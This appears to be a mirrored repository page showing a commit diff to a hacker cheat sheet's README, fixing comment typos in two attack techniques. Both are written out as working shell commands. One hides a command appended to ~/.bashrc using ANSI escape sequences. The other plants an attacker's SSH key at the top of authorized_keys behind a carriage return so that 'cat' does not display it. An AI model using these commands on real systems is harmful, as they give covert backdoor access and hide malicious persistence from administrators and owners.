mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-05-23 16:09:42 +02:00
Update README.md
This commit is contained in:
@@ -240,16 +240,16 @@ Hide the last command (example: `id`) in `~/.bashrc`:
|
||||
```sh
|
||||
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
|
||||
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
|
||||
### move the cursor 1 line up.
|
||||
### The '#' after the command 'id' is needed so that bash still executes the 'id'
|
||||
### but ignores the two ANSI escape sequences.
|
||||
### moves the cursor 1 line up.
|
||||
### The '#' after the command 'id' is a comment and is needed so that bash still
|
||||
### executes the 'id' but ignores the two ANSI escape sequences.
|
||||
```
|
||||
Note: We use `echo -e` to convert `\\033` to the ANSI escape character (hex 0x1b).
|
||||
|
||||
Adding a `\r` (carriage return) goes a long way to hide your ssh key from `cat`:
|
||||
```shell
|
||||
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
|
||||
### This adds our key as the first key and 'cat authorized_keys1' wont show
|
||||
### This adds our key as the first key and 'cat authorized_keys' wont show
|
||||
### it. The $'\r' is a bash special to create a \r (carriage return).
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user